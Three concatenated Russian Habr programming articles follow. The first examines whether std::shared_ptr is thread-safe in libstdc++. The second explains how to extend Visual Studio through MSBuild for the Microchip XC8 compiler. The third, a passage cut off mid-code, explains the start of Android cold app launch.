Сейчас нам дан стандарт, и это хорошо. Но с другой стороны, уже не требуется понимать что там внутри, вместо этого достаточно три раза повторить мантру *"используйте умные указатели везде где вы бы использовали обычные указатели"*, и это уже не так хорошо. Я подозреваю что далеко не все отдают себе отчет что данный стандарт — лишь один из возможных вариантов интерфейса, не говоря уже о разнице между реализациями различных вендоров. При выборе стандарта был сделан выбор между различными возможностями учитывающий разные факторы, но, оптимальный или нет, этот выбор очевидно не единственен.
А еще на stackoverflow например снова и снова задается вопрос — "потокобезопасны ли умные указатели из стандартной библиотеки?". Ответы даются обычно категоричные, но какие-то мало информативные. Если бы я например не знал о чем идет речь, то наверное бы не понял. И кстати, все сравнительно новые книги описывающие новый стандарт C++ этому вопросу тоже уделяют мало внимания.
Так давайте же попробуем сорвать покровы и разберемся с деталями.
Сразу определимся с терминологией, речь не идет о защите данных на которые ссылается указатель, это может быть обьект произвольной сложности и многопоточный доступ к нему требует в общем случае отдельной синхронизации. Под потокобезопасностью умного указателя мы подразумеваем защищенность собственно указателя на данные и валидности внутреннего счетчика ссылок. Образно говоря, если указатели создаются через *std::make\_shared<>()* то никакие присвоения, передача в функции или другие потоки, свопы, уничтожение, не могут привести его в невалидное состояние. До тех пор пока мы не вызвали *reset()* или *get()*, мы вправе ожидать что указатель ссылается на некоторый валидный обьект, хотя и не обязательно тот на который мы подразумеваем.
Один из популярных ответов на вопрос заголовка: "*It is only the control block itself which is thread-safe.*". Вот мы и посмотрим, что понимается конкретно под *control block* и под *safe*.
Для экспериментов использовался *g++-5.4.0*.
#### **Начнем с примера**
Пусть в разделяемой памяти находится некоторая информация упакованная в структуру и доступная через указатель. Есть один или множество независимых потоков, которые должны читать и использовать эти данные без модификации, как правило оказывается что для них критически важна скорость доступа. В то же время, пусть существует один или несколько потоков модифицирующих эти данные с нарушением целостности, на практике обычно оказывается что модификации случаются значительно реже и скорость доступа там не настолько важна. Тем не менее, оставаясь в рамках классической (*exclusive lock*) синхронизации, мы вынуждены сериализовать доступ на чтение даже если если ни одного изменения данных не произошло. Естественно, на эффективности это отражается самым фатальным образом, и эта ситуация встречается настолько часто, возможно в несколько иной версии, что я бы ее рискнул назвать основным вопросом многопоточного программирования.
Конечно существуют стандартные решения, *boost::shared\_mutex* и его юный отпрыск *std::shared\_mutex*, позволяющие два уровня доступа — разделяемый на чтение и исключительный на запись. Однако же я, прослышав что *std::shared\_ptr* дает потокобезопасный доступ к *контрольному блоку* (и не очень понимая что это значит), а так же что операции над ним реализованы lock-free, хочу предложить свое изящное решение:
```
// разделяемые данные
std::shared_ptr data;
reading\_thread {
// создаем резервную ссылку на разделяемые данные
auto read\_copy=data;
// читаем данные, целостность гарантирована
...
// деструктор read\_copy
}
writing thread {
// создаем измененную копию данных
auto update=std::make\_shared(...args);
// атомарно(?) обновляем данные
data=update;
// ссылка на старые данные теряется, но обьект будет уничтожен
// в памяти только когда последний читатель закончит цикл чтения
}
```
здесь нам приходится пересоздавать структуру с данными каждый раз при любом обновлении, однако это достаточно приемлемый случай на практике.
Ну так что, сработает? Разумеется **нет!** Но **почему именно?**
#### **Как оно устроено**
Если взглянуть на саму структуру разделяемого указателя
/usr/include/c++/5/bits/shared\_ptr\_base.h: 1175
```
template
class \_\_shared\_ptr
{
...
private:
\_Tp\* \_M\_ptr; // Contained pointer.
\_\_shared\_count<\_Lp> \_M\_refcount; // Reference counter.
};
```
видно, что она состоит из **двух** членов — указателя на собственно данные и того самого *контрольного блока*. Но дело в том, что не существует способа атомарно и без блокирования поменять, присвоить, переместить и т.д. оба элемента. То есть разделяемые указатели потоко безопасными быть не могут(.?) Точка или вопросительный знак? Ну вроде бы точка, но какая-то расплывчатая, не окончательная, как-то это тривиально и слишком просто. Нам же было сказано что "потоко безопасен только доступ к контрольному блоку", а мы и не проверили.
#### **Давайте разбираться, роем глубже**
```
auto data=std::make_shared(0);
void read\_data() {
// имитация чтения, создается резервная копия данных
for(;;)
auto read\_copy=data;
}
int main()
{
std::thread(read\_data).detach();
// имитация записи, весь указатель целиком заменяется другим
for(;;)
data=std::make\_shared(0);
return 0;
}
```
Вот такой минималистский пример реализует предложенную идею и в общем оправдывает ожидания — валится с грохотом едва намотав несколько сотен циклов. Однако обратите внимание, к собственно данным мы здесь вообще ни разу не обращаемся, указатель не разыменовывается. То есть что-то неладное происходит с контрольным блоком? Зато у нас теперь есть код с которым можно работать дебаггером. Но сначала бросим взгляд на другие возможные варианты:
```
auto data=std::make_shared(0);
void read\_data() {
for(;;)
auto sp=std::atomic\_load(&data);
}
int main(int argc, char\*\*argv)
{
std::thread(read\_data).detach();
for(;;) {
std::atomic\_exchange(&data, std::make\_shared(0));
assert(std::atomic\_is\_lock\_free(&data));
}
return 0;
}
```
здесь все прекрасно работа~~ет~~ло бы если бы не *assert()* в теле цикла. То есть атомарные операции над *std::shared\_ptr* определены, но они блокирующие. Ну, это не наш путь, на мьютексах я и сам могу. Еще один вариант:
```
std::shared_ptr variant[]={
std::make\_shared(0),
std::make\_shared(0)
};
auto data=variant[0];
void read\_data() {
for(;;)
auto sp=data;
}
int main()
{
std::thread(read\_data).detach();
for(size\_t n=0;; ++n) {
data=variant[n%2];
}
return 0;
}
```
почти идентичный, но он прекрасно работает полностью загружая два ядра под 100%. Разница в том что здесь один из потоков никогда не вызывает деструктор. Что же, деструкторы стандартных указателей небезопасны? Не верю. Давайте вернемся к первоначальному варианту и
#### **Копнем еще поглубже**
Рассмотрим поближе читающий поток:
```
auto sp=data;
```
Здесь вызываются в цикле копирующий конструктор и деструктор, и все.
**вот выжимки из исходного кода**
```
//L1#shared_ptr_base.h : 662
__shared_count(const __shared_count& __r) noexcept
: _M_pi(__r._M_pi)
{
if (_M_pi != 0)
_M_pi->_M_add_ref_copy();
}
//L2#shared_ptr_base.h : 134
void
_M_add_ref_copy()
{ __gnu_cxx::__atomic_add_dispatch(&_M_use_count, 1); }
//L1#shared_ptr_base.h : 658
~__shared_count() noexcept
{
if (_M_pi != nullptr)
_M_pi->_M_release();
}
//L2#shared_ptr_base.h : 147
if (__gnu_cxx::__exchange_and_add_dispatch(&_M_use_count, -1) == 1)
{
_GLIBCXX_SYNCHRONIZATION_HAPPENS_AFTER(&_M_use_count);
_M_dispose();
}
```
которые, если отбросить все лишнее, сводятся к
```
// copy ctor
__gnu_cxx::__atomic_add_dispatch(&_M_use_count, 1);
// old instance dtor
if (__gnu_cxx::__exchange_and_add_dispatch(&_M_use_count, -1) == 1)
_M_dispose();
```
или, если перейти к псевдокоду
```
++_M_pi->_M_use_count;
if(--_M_pi->_M_use_count == 0)
dispose();
```
Здесь операторы инкремента и декремента подразумеваются атомарными, а функция dispose() очищает память и в частности инвалидирует сам указатель на счетчик ссылок *\_M\_pi*. Надо сказать что для привыкшего многопоточности выражение:
*if(--cnt == 0)*
*do\_something();*
выглядит как граната с выдернутой чекой, между этими двумя строчками может произойти, и обязательно происходит, буквально что угодно. Единственно от чего такая конструкция надежно защищает — это от аналогичного вызова в другом потоке — сколько бы раз не был вызван атомарный оператор декремента, только в одном из них счетчик обнулится.
Тем не менее, что в это время происходит в другом, пишущем, потоке?
* вызывается конструктор нового обьекта. Это совершенно независимый обьект, поэтому нас никак не касается.
* создается еще один вырожденный указатель
* над этими тремя указателями вызывается классический циклический swap()
* вызывается деструктор временного указателя (содержащего теперь оригинальные данные)
* вызывается деструктор вырожденного указателя, нам это тоже ничем не грозит
**где-то вот так**
```
//L1#shared_ptr.h : 291
shared_ptr&
operator=(shared_ptr&& __r) noexcept
{
this->__shared_ptr<_Tp>::operator=(std::move(__r));
//L2#shared_ptr_base.h : 997
__shared_ptr&
operator=(__shared_ptr&& __r) noexcept
{
__shared_ptr(std::move(__r)).swap(*this);
//L#3shared_ptr_base.h : 932
__shared_ptr(__shared_ptr&& __r) noexcept
: _M_ptr(__r._M_ptr), _M_refcount()
{
_M_refcount._M_swap(__r._M_refcount);
//L#4shared_ptr_base.h : 684
void _M_swap(__shared_count& __r) noexcept
{
_Sp_counted_base<_Lp>* __tmp = __r._M_pi;
__r._M_pi = _M_pi;
_M_pi = __tmp;
}
//L2#shared_ptr_base.h : 1073
void
swap(__shared_ptr<_Tp, _Lp>& __other) noexcept
{
std::swap(_M_ptr, __other._M_ptr);
_M_refcount._M_swap(__other._M_refcount);
}
//L3#shared_ptr_base.h : 684
void
_M_swap(__shared_count& __r) noexcept
{
_Sp_counted_base<_Lp>* __tmp = __r._M_pi;
__r._M_pi = _M_pi;
_M_pi = __tmp;
}
//L2#shared_ptr_base.h : 658
~__shared_count() noexcept
{
if (_M_pi != nullptr)
_M_pi->_M_release();
}
//L3#shared_ptr_base.h : 142
void
_M_release() noexcept
{
// Be race-detector-friendly. For more info see bits/c++config.
_GLIBCXX_SYNCHRONIZATION_HAPPENS_BEFORE(&_M_use_count);
if (__gnu_cxx::__exchange_and_add_dispatch(&_M_use_count, -1) == 1)
{
_GLIBCXX_SYNCHRONIZATION_HAPPENS_AFTER(&_M_use_count);
_M_dispose();
//L1#shared_ptr.h : 93 (destructor)
//L2#shared_ptr_base.h : 658
~__shared_count() noexcept
{
if (_M_pi != nullptr) //_M_pi == nullptr - true here
_M_pi->_M_release();
}
```
Если отбросить все лишнее останутся примерно такие фрагменты кода:
```
_Sp_counted_base<_Lp>* __tmp = __r._M_pi;
__r._M_pi = _M_pi;
_M_pi = __tmp;
if (__gnu_cxx::__exchange_and_add_dispatch(&_M_use_count, -1) == 1)
_M_dispose();
```
Опять же, первые три строчки (*swap()*) выглядят чрезвычайно подозрительными, однако при тщательном анализе они оказываются совершенно безопасными (естественно только в данном контексте) и все что нам остается (псевдокод).
```
if(--_M_pi->_M_use_count == 0)
dispose();
```
то самое выражение, которое мы чуть выше сочли безопасным. Вот тут наступает момент истины:
// assert(\_M\_use\_count == 1);
| **// writing thread** | **// reading thread** |
| --- | --- |
| if(--\_M\_pi->\_M\_use\_count == 0) //true | . |
| . | ++\_M\_pi->\_M\_use\_count; // count=1 |
| . | if(--\_M\_pi->\_M\_use\_count == 0) //true |
| dispose(); // я первый! BANG!! | dispose(); // нет я! BANG!! |
Вот так комбинация атомарного инкремента и атомарного декремента приводит к гонке между потоками и *std::shared\_ptr<>* не является потокобезопасным, даже на уровне контрольного блока. Вот теперь действительно точка.
Немного позже я нашел афористически краткое изложение этого принципа в документации к *boost::shared\_ptr<>*. Звучит примерно так: **"Указатели безопасны либо только на запись либо только на чтение, и небезопасны при конкурентном чтении/записи."** Чуть развив эту мысль и сообразив что голая запись без чтения данных практически бессмысленна, мы видим что стандартные умные указатели безопасны на чтение, то есть настолько же насколько безопасны обычные константные указатели. То есть, вся эта сложная внутренняя машинерия создана для того чтобы достичь уровня обычных указателей, но не более, **жирная точка**.
#### **Вместо заключения. От анализа к синтезу**
Хотелось бы закончить на светлой ноте, то есть предложить, хотя бы на уровне концепции, алгоритм не использующий блокирующих мьютексов и позволяющий безопасные операции с разделяемыми указателями из разных потоков. Однако я не справился, более того, у меня сложилось убеждение что на основе существующих элементарных неблокирующих примитив это просто невозможно. Разумеется достаточно просто написать вариант основанный на *spinlock*, однако это было бы неспортивно, я не отношу такие алгоритмы к истинно неблокирующим. Можно взять за основу любую существующую многопоточную блокирующую реализацию и заменить каждый мьютекс на соответствующий *spinlock*, то есть алгоритмически свести задачу к выбору более эффективного типа мьютекса. Очевидно это не наш путь.
Чего же нам не хватает для полноценной неблокирующей реализации? Существует очень небольшое число неблокирующих примитив работающих только со встроенными типами:
* добавление целой константы (постфиксное или префиксное) — *atomic\_fetch\_and\_add* и его вариации
* обмен двух значений (на самом деле несимметричный, только один из операндов изменяется атомарно) — *atomic\_swap*
* условный обмен или присвоение с проверкой на равенство — *atomic\_compare\_and\_swap*
Учитывая безусловный запрет на оператор *if()* в неблокирующих алгоритмах, только последний подходит на роль оператора ветвления, но его серьезнейшее ограничение в том что он позволяет *проверку* и *присвоение* исключительно одной и той же переменной. Вообще легко заметить нечто общее во всех трех примитивах — они атомарно работают с одной и только одной областью памяти размером с машинное слово, причины я думаю очевидны. Присмотревшись к обобщенной структуре разделяемого указателя, мы видим что он *обязан* содержать внутри себя как минимум один указатель на разделяемые данные (включающие *контрольный блок*) и где-то *внутри* этого блока должен находиться счетчик ссылок. При любых операциях с собственно указателем, например присвоении, мы должны *атомарно* проверять счетчик и одновременно изменять указатель на контрольный блок, что невозможно используя существующие атомарные примитивы. Отсюда следует что создание полноценного неблокирующего разделяемого указателя невозможно в принципе.
На самом деле я был бы рад ошибиться, возможно есть что-то, что я не знаю или понимаю неправильно? Всех желающих оспорить жду в комментариях. | https://habr.com/ru/post/311560/ | null | ru | null |
# Visual Studio Extensibility. Часть первая: MSBuild
Привет Хабр, в этих статьях я попытаюсь осветить тему расширений Microsoft Visual Studio(а попутно ещё и MSBuild), т.к. эта сфера является крайне плохо документированной и вообще покрыта пеленой какой-то загадочности.
### Пролог
Я являюсь профессиональным разработчиком C++ с достаточно большим опытом работы, а также большим поклонником продукции компании Microsoft и в первую очередь главного моего инструмента разработки — Visual Studio. Не так давно, в качестве хобби, я начал заниматься программированием микроконтроллеров, и микроконтроллеры я выбрал от компании Microchip. Единственное, что меня не устраивало это использование инструментов разработки, которые предоставляет сама компания Microchip. Я ничего не могу сказать плохого про эти продукты, просто я не хотел бы устанавливать несколько IDE на свой рабочий(или домашний) компьютер, поэтому родилась мысль интегрировать компилятор XC8 от компании Microchip в Microsoft Visual Studio. Позже я увидел в этой идее ещё один плюс — множество моих(и не только моих) проектов прямо или косвенно связаны с подключением их к компьютеру, поэтому приходится разрабатывать ответную программную часть — было бы здорово объединять их в одно решение(solution) с проектом микропрограммы. Проковырявшись большое количество времени, я понял, что тема интеграции чего либо в Visual Studio является эдаким белом пятном: нормального описания нет, куцые описания в блогах, и что самое плохое — практически нет примеров. Собрав кое какую информацию по крупицам, кое-что поняв из описания и опираясь на метод научного тыка, я решил поделиться полученными знаниями. Итак, поехали.
### План действий
Ну раз уж мы решили расширить функционал Visual Studio прикручиванием стороннего компилятора, то давайте расширим его максимально возможным образом. Для этого определимся со списком того, что мы хотим сделать:
1. Чтобы при просмотре свойств проекта(Project Properties) в Visual Studio — были бы наши собственные свойства.
2. Определить свой набор расширений файлов, которые можно было бы включать в проект.
3. Естественно определить, свою систему сборки, чтобы вызывались наши компиляторы, линковщики и т.д.
4. Создать свой тип проекта, чтобы студия могла открывать файл с нашим собственным расширением.
5. Создать волшебник для генерации этого типа проекта.
Ну что же, попробуем осуществить из этого списка хотя бы часть требований.
Часть 1: MSBuild
================
Начнем, пожалуй, с теории:
* Microsoft Visual Studio — чуть менее чем полностью построена на технологии COM. Поэтому нужно быть готовым столкнуться с ней. Хотя мы попробуем все же этого избежать.
* Любой проект Microsoft Visual Studio является скриптом MSBuild.
Ввиду выше перечисленного, для расширения возможностей студии в первую очередь нам придется изучить устройство системы сборок, именуемое MSBuild.
Сразу оговорюсь: у меня под рукой была достаточно старая VIsual Studio 2010 — поэтому все описание будет для нее, но я полагаю, что с 2012 и 2013 студиями все будет аналогично.
Итак открываем студию, создаем **Blank Solution** и добавляем в него **Empty Project** (мне ближе проект в категории С++, поэтому я выбрал его)
Я назвал и проект и решение «test» и сделал так, чтобы они лежали в одной директории(это удобно для наших экспериментов, объясню позже)- таким образом получив файлы **test.sln** и **test.vcxproj**
Теперь закрываем студию и берем какой нибудь текстовый редактор(лучше с подсветкой XML синтаксиса — в принципе подойдет та же студия, только уже другой её экземпляр) и открываем **test.vcxproj** как текстовый файл.
Посмотрим, что внутри у **test.vcxproj**:
**test.vcxproj**
```
xml version="1.0" encoding="utf-8"?
Debug
Win32
Release
Win32
{E1064D79-B415-4EDC-9FAC-C50E4102268B}
test
Application
true
MultiByte
Application
false
true
MultiByte
Level3
Disabled
true
Level3
MaxSpeed
true
true
true
true
true
```
Самое главное, что необходимо увидеть здесь:
* тег **ProjectConfiguration**.
* тег **ProjectGuid**.
* файлы, которые подключаются тегом **Import**.
Все остальное можно спокойно удалять. Также предлагаю удалить файл **test.filters**, чтобы нам не мешались виртуальные директории в проекте.
```
xml version="1.0" encoding="utf-8"?
Debug
Win32
Release
Win32
{E1064D79-B415-4EDC-9FAC-C50E4102268B}
test
```
Приведенный выше файл абсолютно валидный с точки зрения студии и MSBuild, его можно открыть и даже собрать.
Также предлагаю сразу разобраться со сборкой нашего проекта из командной строки:
1. Запускаем **Microsoft Visual Studio Command Prompt**
2. Переходим в директорию, где находится **test.vcxproj**
3. Выполняем msbuild test.vcxproj /p:Configuration=Debug /p:Platform=Win32
Можно написать скрипт для автоматизации данного процесса, чтобы было удобнее проверять сборку на предмет ошибок и прочего.
Теперь начинаем разбираться в том, что отвечает за свойства проекта и вообще, что делает наш проект — проектом студии. А делают это все строчки:
```
```
Импортируемые файлы у меня находятся с директории **C:\Program Files\MSBuild\Microsoft.Cpp\v4.0**
Можно конечно попробовать их посмотреть, но я боюсь человек, который никогда не разбирался с MSBuild, вряд ли что-то поймет, а желание разбираться в этом во всем мгновенно улетучится. Так что я предлагаю пока туда не смотреть, т.к. можно потратить уйму времени(как сделал автор) и все равно ничего не понять.
**Важно!!: При каждой правке vcxproj и сопутствующих файлов необходимо перезапускать студию полностью!** Опытным путем было установлено, что Visual Studio, что-то(скорее всего файлы \*.props и \*.targets) кеширует — поэтому простого Unload Project/Reload Project не достаточно! Именно поэтому я изначально создал **sln** файл рядом с **vcxproj**, чтобы было удобно перезапускать, не меняя директории.
Итак давайте просто удалим строчки с тегом **Import** и посмотрим, что получится.
Файл должен быть таким:
**test.vcxproj**
```
xml version="1.0" encoding="utf-8"?
Debug
Win32
Release
Win32
{E1064D79-B415-4EDC-9FAC-C50E4102268B}
test
```
Открыв его в студии — мы с удивлением обнаружим, что файл все ещё является валидным. Но собрать его уже не получится, мы получим сообщение:
**1>Error: The «ConfigurationGeneral» rule is missing from the project.**
Пока мы не желаем собирать проект — поэтому не обращаем на это внимания.
Посмотрим, что у нас в свойствах проекта — и наблюдаем следующую картину:
Красота! Мы убрали все лишнее, вернее всего, убрали вообще все.
Если мы попытаемся добавить файл к проекту, то у нас ничего не получится, студия выдает ошибку.
**Лирическое отступление**:
Читатель возможно задаст вопрос, а как же студия все ещё определяет, что это проект C++ — элементарно по расширению **vcxproj**, которое явно указывает на Visual C++. Возможно читателю этот вопрос покажется достаточно глупым, но когда долго экспериментируешь с проектом, который фактически уже не является С++ проектом, а студия все ещё пытается вести себя по правилам С++, совершенно забываешь про расширение самого файла — а оно имеет кардинальное значение. Мы будем от этого избавляться, но лишь в одной из следующих частей данного повествования.
### Проект пуст. Приступим к наполнению.
Читатель наверняка уже догадался, что мы будем создавать свои собственные файлы **\*.props** и **\*.targets**, но в начале немного теории:
* файлы **\*.props** и **\*.targets** совсем не обязательно должны иметь расширения \*.props и \*.targets — это фактически, что-то типа подключаемых файлов(include). Но мы не будем нарушать гегемонию студии и оставим привычные всем расширения.
* **\*.props** обычно отвечают за свойства проекта и переменные окружения.
* **\*.targets** отвечают за сборку — в них описывается, что делать с файлами(а может и не с файлами), которые добавлены к проекту, т.е. все возможные действия/задания(Tasks) и за типы файлов проекта определямые схемой(ProjectSchema) и правилами(Rules).
### Файл \*.targets.
Для дальнейшего повествования, я предлагаю перейти от абстракции к конкретной задаче прикручивания компилятора XC8 от компании Microchip к Visual Studio. Компилятор XC8 необходимо скачать с сайта [Microchip](http://www.microchip.com/pagehandler/en_us/devtools/mplabxc/) и установить.
**Отступление**: Вообще файлы \*.targets как и \*.props находятся в определенных папках самого MSBuild, но сейчас мы так делать не будем, т.к. это уже относится к задачам распространения новоиспеченного расширения и, в целом, задачам инсталятора, а для наших экспериментов удобнее всего все хранить в одной директории рядом с проектом.
Создадим файл **XC8.targets** в директории рядом с **test.vcxproj**.
Содержание **XC8.targets**:
```
```
Из файла видно, что мы пытаемся определить схему страницы свойств(PropertyPageSchema) и подключить файл **XC8.Items.xml**. Как догадался читатель — в файле **XC8.Items.xml** мы будем описывать типы файлов, которые будут участвовать в нашем проекте. Конкретно для компилятора XC8 — это файлы **\*.c; \*.h; \*.asm** итд.
Создадим **XC8.Items.xml** поместив его в директорию с нашим проектом.
Содержание **XC8.Items.xml**:
```
xml version="1.0" encoding="utf-8"?
```
Как видно в этом файле мы определили те типы файлов, которые нам нужны в проекте. А с помощью тега **FileExtension** определили расширения этих файлов.
Теперь наконец импортируем **XC8.targets** в наш проект, для этого используем тег **Import**
Содержание **test.vcxproj**:
```
xml version="1.0" encoding="utf-8"?
Debug
Win32
Release
Win32
{E1064D79-B415-4EDC-9FAC-C50E4102268B}
test
```
Теперь открываем студию и пробуем добавить простейший файл **main.c**
Содержание файла:
**main.c**
```
#include
int main()
{
return 0;
}
```
Вуаля — теперь файл добавился. Посмотрим свойства файла:
Мы видим, что в выпадающем списке **Item Type** отображаются элементы которые мы указали в файле **XC8.Items.xml**.
**Важно!!: Основным тегом в файле XC8.Items.xml, в целом, является ContentType с атрибутом ItemType**. Именно значение атрибута ItemType мы будем использовать в дальнейшем как основное.
Сохраним в студии наш **test.vcxproj**, закроем студию, а затем посмотрим его текст:
```
xml version="1.0" encoding="utf-8"?
Debug
Win32
Release
Win32
{E1064D79-B415-4EDC-9FAC-C50E4102268B}
test
```
Мы видим, что у нас добавился ещё тег **ItemGroup** внутри, которого находится тег **Compile**. Название этого тега — это и есть то, что мы указали в качестве значения атрибута **ItemType** тега **ContentType** в файле **XC8.Items.xml**. Как уже догадался уважаемый читатель — с помощью этого механизма в наш проект включаются новые файлы для сборки.
Теперь займемся свойствами проекта. Для этого необходимо в наш **XC8.targets** включить 2 файла:
```
Project
PropertySheet
```
И, как обычно, необходимо создать файлы **XC8.General.xml** и **XC8.General.PS.xml** в директории с проектом.
Сразу оговорюсь: зачем нужен второй файл **XC8.General.PS.xml** я, до конца, так и не выяснил, т.к. он присутствовал во всех материалах, которые я изучал — я решил его оставить, назвав в соответствии с нашим проектом. Если кто-нибудь имеет информацию по данному вопросу — прошу поделиться.
Содержимое:
**XC8.General.PS.xml**
```
xml version="1.0" encoding="utf-8"?
```
Теперь обратимся к файлу **XC8.General.xml** в нем мы будем описывать свойства нашего проекта, а именно — страницу свойств **General**. Напоминаю: именно эту страницу от нас просила Visual Studio при попытке сборки проекта. Страницы свойств в проекте описываются тегом **Rule**. Без лишних слов я просто приведу свой файл **XC8.General.xml** а затем попытаюсь объяснить его структуру.
```
xml version="1.0" encoding="utf-8"?
```
Файл довольно объемный, но мне все же не хотелось убирать его под спойлер, т.к. он имеет важное значение.
Итак, тег **Rule** имеет несколько важных атрибутов:
* **Name=«ConfigurationGeneral»** — студия ищет правило именно с этим значением атрибута Name. Если у Вас не будет правила с названием ConfigurationGeneral, скорее всего у Вас ничего не получится.
* **DisplayName=«General»** — это название, которое будет отображаться в окне конфигурации проекта, можете назвать как угодно. Я оставил, канонически: «General».
* **Description=«General»** — описание. Пояснять надеюсь не требуется.
* **SwitchPrefix="-"** — этот атрибут определяет префикс ключа команд при передаче их в систему сборки. Допустим ключи вашего компилятора начинаются с "/" (пример: /Ipath определяет путь подключаемых файлов) — соответсвенно значение этого атрибута будет "/", у XC8 компилятора все ключи начинаются с "-", что собственно у меня и написано. Если у вас ключи разных форматов, то этот атрибут можно оставить пустым или вовсе не указывать.
* **xmlns** — атрибут поведения документа в целом, пространства имен и т.д., соответсвенно менять его не имеет смысла.
* **PageTemplate** — определяет отображение страницы свойств в настройке проекта, мы будем работать с шаблонами **generiic** и **tool** — всю разницу между ними я покажу позже на скриншотах (уже в следующей части).
Тег **Rule.Categories** служит для определения категорий внутри страницы свойств. Таких категорий у нас две:
* **General** — общие настройки проекта — обычно всякие пути.
* **ProjectDefaults** — настройки особенностей нашего XC8 проекта — я вынес сюда ключики, которые должны передаваться и компилятору и к линковщику.
Понятно, что Вы можете определить таких категорий сколько пожелаете.
Тег **Rule.DataSource** определяет где будут храниться значения свойств. У нас указано **ProjectFile** — т.е. в файле проекта. Я атрибут **Persistence** не менял, т.к. не представляю где ещё могут храниться настройки проекта как не в файле этого самого проекта, в нашем случае в **test.vcxproj**.
Теги с окончанием Property, как Вы уже догадались — это и есть свойства которые будут у нас отображаться в окне свойств нашего проекта.
* **StringProperty** — строковое.
* **StringListProperty** — список строк. Например перечисление Include директорий или, как здесь, перечесление файлов при очистке проекта(Clean).
* **IntProperty** — числовое, но оно ведет себя почему-то как строковое, так что этот момент остается загадкой.
* **BoolProperty** — флаг.
* **EnumProperty** — перечисление, я расскажу о нем позже т.к. в нашем файле **XC8.General.xml** таких нет.
Рассмотрим основные атрибуты свойств:
* **Name** — название. Имеет важное значение т.к. может участвовать в объявлении макросов студии(те которые **$(BlaBlaBla)**). Как это сделать я расскажу позже.
* **DisplayName** — отображаемое название.
* **Description** — описание. Отображается внизу — при выборе данного свойства в окне свойств проекта.
* **Category** — определяет, в какой категории будет отображаться наше свойство. В нашем случае категорий 2: **General** и **ProjectDefaults**.
* **Subtype** — определяет подтип свойства StringProperty. Из тех, которые я видел — это **folder** и **file**, но поведение их почти ничем не отличается.
* **F1Keyword** — определяет справку по данному свойству.
* **Default** — этот атрибут по идее должен определять значение свойства по умолчанию, но он этого не делает — возможно, это просто подсказка (которую я тоже нигде не нашел)**. Для определения значений свойств по умолчанию существует совершенно другой механизм, о котором я буду рассказывать в следующей части повествования.**
* **Switch** — определяет ключ данного свойства. В конечном итоге складывается с атрибутом **SwitchPrefix** тега **Rule** и передается в сборку. В случае со свойством **QuietMode** это будет "-Q"
Атрибутов у свойств и правил достаточно много — читатель может познакомится с ними по ссылке: [Microsoft.Build.Framework.XamlTypes Namespace](https://msdn.microsoft.com/en-us/library/microsoft.build.framework.xamltypes(v=vs.121).aspx). Но будьте готовы не найти там никакого внятного описания, такое ощущение, что данная документация сделана автоматически каким-то генератором, без описаний. Радует только то, что назначение многих атрибутов понятно по их названиям.
Теперь открываем наш проект в студии и смотрим окно свойств проекта
Если попытаться собрать проект, то мы увидим уже другую ошибку: **error MSB4057: The target «build» does not exist in the project.**, которая говорит нам об отсутствии **Target** тега с названием **build**.
На этом первую часть повествования я заканчиваю, мы добились определенного результата. В следующий раз я расскажу, как создавать **Target**, **Task**, определять значения по умолчанию и макросы студии.
Файлы проекта можно скачать [**здесь.**](https://github.com/fsmoke/extensibility/tree/master/part1/test)
### Материалы, которые позволили мне изучить вопрос:
MSDN: [Microsoft.Build.Framework.XamlTypes Namespace](https://msdn.microsoft.com/en-us/library/microsoft.build.framework.xamltypes(v=vs.121).aspx)
Проект: [vs-android](http://code.google.com/p/vs-android/)
Статья на Хабре: [Минимальный проект MsBuild](http://habrahabr.ru/post/134888/)
MSDN: [Пошаговое руководство. Создание файла проекта MSBuild с нуля](https://msdn.microsoft.com/ru-ru/library/vstudio/dd576348(v=vs.110).aspx)
А также метод научного тыка в директории С:\Program Files\MSBuild\Microsoft.Cpp\v4.0\ | https://habr.com/ru/post/251795/ | null | ru | null |
# Android Vitals — Разбираем холодный запуск
Эта серия статей посвящена мониторингу производительности и стабильности Android-приложений в эксплуатационной среде. В прошлой статье автор писал об измерении времени в [Android Vitals — Сколько времени?](https://habr.com/ru/company/otus/blog/593023/)
В следующих статьях серии будет рассказано, как мониторить холодный запуск. Согласно [документации по этапу запуска приложения](https://developer.android.com/topic/performance/vitals/launch-time#cold):
*Холодный запуск - это запуск приложения с нуля: до этого запуска системный процесс еще не создавал процесс приложения. Холодный запуск происходит, когда ваше приложение запускается впервые после загрузки устройства или после того, как система завершила работу приложения.*
В начале холодного запуска у системы есть 3 задачи:
1. Загрузка и запуск приложения.
2. Отображение стартового окна.
3. Создание [процесса](https://developer.android.com/guide/components/processes-and-threads#Processes) приложения.
В этой статье мы с вами подробно разберем начало холодного запуска, от тапа по иконке лаунчера до создания процесса приложения.
Диаграмма, созданная с помощью [WebSequenceDiagram](https://www.websequencediagrams.com/).
Activity.startActivity()
------------------------
Когда пользователь тапает по иконке лаунчера, процесс запуска приложения вызывает [Activity.startActivity()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/Activity.java;l=5533;drc=69e700c7922c34583bddbab4b7ce78adadb90730), делегируя выполнение в [Instrumentation.execStartActivity()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/Instrumentation.java;l=1711-1715;drc=69e700c7922c34583bddbab4b7ce78adadb90730):
```
public class Instrumentation {
public ActivityResult execStartActivity(...) {
...
ActivityTaskManager.getService()
.startActivity(...);
}
}
```
Затем процесс запуска приложения выполняет [IPC-](https://source.android.com/devices/architecture)вызов [ActivityTaskManagerService.startActivity()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityTaskManagerService.java;l=1009-1015?q=IActivityTaskManager&ss=android%2Fplatform%2Fsuperproject) процесса `system_server`. Процесс `system_server` хостит большинство системных служб.
Смотрим на стартовое окно
-------------------------
Перед созданием нового процесса приложения процесс `system_server` создает стартовое окно посредством [PhoneWindowManager.addSplashScreen()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java;l=2342;drc=69e700c7922c34583bddbab4b7ce78adadb90730):
```
public class PhoneWindowManager implements WindowManagerPolicy {
public StartingSurface addSplashScreen(...) {
...
PhoneWindow win = new PhoneWindow(context);
win.setIsStartingWindow(true);
win.setType(TYPE_APPLICATION_STARTING);
win.setTitle(label);
win.setDefaultIcon(icon);
win.setDefaultLogo(logo);
win.setLayout(MATCH_PARENT, MATCH_PARENT);
addSplashscreenContent(win, context);
WindowManager wm = (WindowManager) context.getSystemService(
WINDOW_SERVICE
);
View view = win.getDecorView();
wm.addView(view, params);
...
}
private void addSplashscreenContent(PhoneWindow win,
Context ctx) {
